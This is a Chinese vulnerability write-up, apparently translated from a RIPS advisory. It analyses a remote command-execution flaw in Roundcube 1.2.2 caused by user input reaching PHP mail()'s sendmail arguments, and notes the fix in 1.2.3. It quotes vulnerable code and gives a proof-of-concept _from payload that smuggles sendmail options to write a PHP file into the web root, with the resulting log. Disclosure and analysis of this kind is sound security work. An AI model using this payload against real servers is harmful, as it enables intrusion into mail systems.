【漏洞分析】流行开源电子邮件程序Roundcube v1.2.2命令执行漏洞分析
来源:互联网 发布:淘宝高品质鹿皮绒女装 编辑:程序博客网 时间:2024/05/03 20:37
简介
Roundcube是一款被广泛使用的开源的电子邮件程序,在全球范围内有很多组织和公司都在使用。
在过去的1年里,仅SourceForge上的镜像文件被下载次数就超过26万,这还仅仅是实际使用群体中的一小部分。
在服务器上成功安装Roundcube之后,它会提供给用户一个web接口,通过验证的用户就可以通过Web浏览器收发电子邮件。
在本文中,我们将看到攻击者是如何仅仅通过Roundcube1.2.2(>=1.0)写封邮件,就能对底层操作系统实现任意命令执行。
这是个高危漏洞,由于使用默认安装方式的Roundcube都受影响,所以我们强烈建议使用Roundcube的管理员尽快更新到1.2.3版本。
RIPS(一款自动化PHP代码静态分析工具)花了25秒的时间完整分析了整个应用程序,检测出了以上图表所展示的安全漏洞。
虽然图表中列举了很多问题,但是大部分都不太严重,因为它们属于安装模块的一部分或者是遗留代码。
不过,我们还是建议修补这些漏洞,以及将遗留代码删除,防止这些代码被不安全的使用或与其他安全漏洞形成组合漏洞。
以上分析结果可以在我们的RIPS demo中看到。注意,我们在分析结果中仅展示了本文所述漏洞
漏洞利用条件
Roundcube必须配置成使用PHP的mail()函数(如果没有指定SMTP,则是默认开启)
PHP的mail()函数配置使用sendmail(默认开启)
关闭PHP配置文件中的safe_mode(默认开启)
攻击者必须知道或者猜出网站根目录的绝对路径
以上条件都很容易达成,反过来说也就意味着网络中存在该漏洞的系统有很多。
漏洞描述
在Roundcube1.2.2或者更早的版本里,用户的输入未经过滤就被传到了PHP内建函数mail()的第五个参数,这已被证明是有很高安全风险的。
问题的根本在于mail()函数的调用会导致PHP调用sendmail程序。该参数允许被传入其他参数,以配置sendmail。
同时sendmail还提供了-X选项将邮件通信数据记录到一个文件,攻击者可以利用此选项在网站根目录下创建一个恶意PHP文件,以下代码可触发漏洞。
program/steps/mail/sendmail.inc$from = rcube_utils::get_input_value(’_from’, rcube_utils::INPUT_POST, true, $message_charset);⋮$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto,$smtp_error, $mailbody_file, $smtp_opts);
在以上代码中,获取到POST参数from的值,然后传入到delivermessage()方法中作为第二个参数$from调用。
program/lib/Roundcube/rcube.php
public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null) {⋮if (filter_var(ini_get(‘safe_mode’), FILTER_VALIDATE_BOOLEAN)) $sent = mail($to, $subject, $msg_body, $header_str);else $sent = mail($to, $subject, $msg_body, $header_str, “-f$from”);
然后该方法将$from参数传递到mail()函数中。目的是将自定义的from头通过-f选项传递给sendmail程序。
过滤不严
有趣的事,似乎from参数已被正则表达式过滤。一般而言,$from参数中不能有空格,这也使得-f选项后面不能附加其他参数。
使用类似$IFS的空格常量或是注入新的shell命令`都不成功。然而,应用中存在一个会导致过滤失效逻辑缺陷。
program/steps/mail/sendmail.incelse if ($from_string = rcmail_email_input_format($from)) {if (preg_match(‘/(\S+@\S+)/‘, $from_string, $m)) $from = trim($m1, ‘<>‘);else $from = null;}
在105 行,从用户控制的$from变量(不包含空格)里提取出一封邮件。
不过只有当rcmailemailinput_format()返回TRUE时才能成功提取。接下来,我们就好好分析下这个函数。
program/steps/mail/sendmail.incfunction rcmail_email_input_format($mailto, $count=false, $check=true){global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;// simplified email regexp, supporting quoted local part$email_regexp = ‘(\S+|(”[^“]+”))@\S+‘;⋮// replace new lines and strip ending ‘, ‘, make address input more valid$mailto = trim(preg_replace($regexp, $replace, $mailto));$items = rcube_utils::explode_quoted_string($delim, $mailto);$result = array();foreach ($items as $item) { $item = trim($item); // address in brackets without name (do nothing) if (preg_match(‘/^<‘.$email_regexp.‘>$/’, $item)) { $item = rcube_utils::idn_to_ascii(trim($item, ‘<>‘)); $result[] = $item; } ⋮ else if (trim($item)) { continue; } ⋮}if ($count) { $RECIPIENT_COUNT += count($result);}return implode(‘, ‘, $result);}
在863行
if (preg_match(‘/^<‘.$email_regexp.‘>$/’, $item)) { 该函数使用了另一个正则表达式,邮件匹配之后在行末使用$符。
攻击者使用的payload只要不满足这个正则条件,在foreach循环后,$result数组会保持空值。
在这种情况下,876行的implode()函数返回一个空字符串(等价于FALSE),然后$from的值就不会被过滤和改变了。
概念验证
当使用Roundcube发送邮件时,HTTP请求是可以被截断和篡改的。通过修改_from参数在文件系统上创建一个恶意文件。
example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php
这将允许攻击者在web根目录创建一个可执行文件rce.php,其内容就是_subject参数的值。
执行完请求之后,将会创建包含以下内容的文件。
04731 >>> Recipient names must be specified04731 <<< To: squinty@localhost04731 <<< Subject: <?php phpinfo(); ?>04731 <<< X-PHP-Originating-Script: 1000:rcube.php04731 <<< MIME-Version: 1.004731 <<< Content-Type: text/plain; charset=US-ASCII;04731 <<< format=flowed04731 <<< Content-Transfer-Encoding: 7bit04731 <<< Date: So, 20 Nov 2016 04:02:52 +010004731 <<< From: example@example.com -OQueueDirectory=/tmp04731 <<< -X/var/www/html/rce.php04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>04731 <<< X-Sender: example@example.com -OQueueDirectory=/tmp04731 <<< -X/var/www/html/rce.php04731 <<< User-Agent: Roundcube Webmail/1.2.204731 <<<04731 <<< Funny e-mail message04731 <<< [EOF]
因为邮件数据没有被编码,subject参数会以明文方式保存。这就允许将PHP标签写入到shell文件中。
时间线
2016/11/21 首次联系供应商
2016/11/22 供应商在Github上修复漏洞
2016/11/28 供应商同意协调披露
2016/11/28 供应商发布Roundcube1.2.3
总结
Roundcube已经可以抵御来自网络中的很多攻击向量,且有一个庞大的社区进行维护,本文中所描述的漏洞实属少见。
在自动化检测工具的帮助下,我们不仅可以检测到这种少见的漏洞,还节省了大量人力,将更多的精力放在其他方向。
参考资料
https://sourceforge.net/projects/roundcubemail/files/stats/timeline?dates=2015-12-01+to+2016-12-01 [return]
https://github.com/roundcube/roundcubemail/wiki/Configuration#sending-messages-via-smtp [return]
http://php.net/manual/en/mail.configuration.php [return]
http://php.net/manual/en/ini.sect.safe-mode.php [return]
*参考来源:Ripstech,FB小编鸢尾编译,转载请注明来自FreeBuf(FreeBuf.COM)
置顶悬镜安全实验室公众号,给你最新,最有料的资讯,安全技术干货。
有料丨有趣丨行业丨观点丨
- 【漏洞分析】流行开源电子邮件程序Roundcube v1.2.2命令执行漏洞分析
- Bash 3.0-4.3命令执行漏洞分析
- Maccms8.x 命令执行漏洞分析
- php远程执行漏洞分析
- shell shock 执行漏洞分析
- Struts2远程命令执行漏洞分析及防范
- PHPMailer 命令执行漏洞(CVE-2016-10033)分析
- Struts2远程命令执行漏洞 S2-045 源码分析
- Supervisord远程命令执行漏洞分析(CVE-2017-11610)
- 最新IE远程代码执行漏洞分析
- Joomla远程代码执行漏洞分析
- 格式化字符串漏洞执行任意代码分析
- ImageMagick远程代码执行漏洞分析
- OS命令执行漏洞
- Struct2命令执行漏洞
- 命令执行漏洞
- 命令执行漏洞总结
- ImageMagick 命令执行漏洞
- ionic使用cordovaMedia、cordovaFile和cordovaFileTransfer播放在线音乐
- 继续复习倒数第二天
- JSP 页面对时间格式化
- PE文件结构详解--延迟导入表
- CSS3新特性概览
- 【漏洞分析】流行开源电子邮件程序Roundcube v1.2.2命令执行漏洞分析
- kernel内存分配中的vmalloc
- nodejs之搭建简单服务器
- Andriod底层第四课----开机动画
- ssl证书类型区别
- 15.6 Swift局部引用
- Weblogic 10.3.6 在RHEL5.4 下安装
- wamp配置https apache配置https apache2.4.9
- 本地使用js或jquery操作cookie在谷歌浏览器chrome中不生效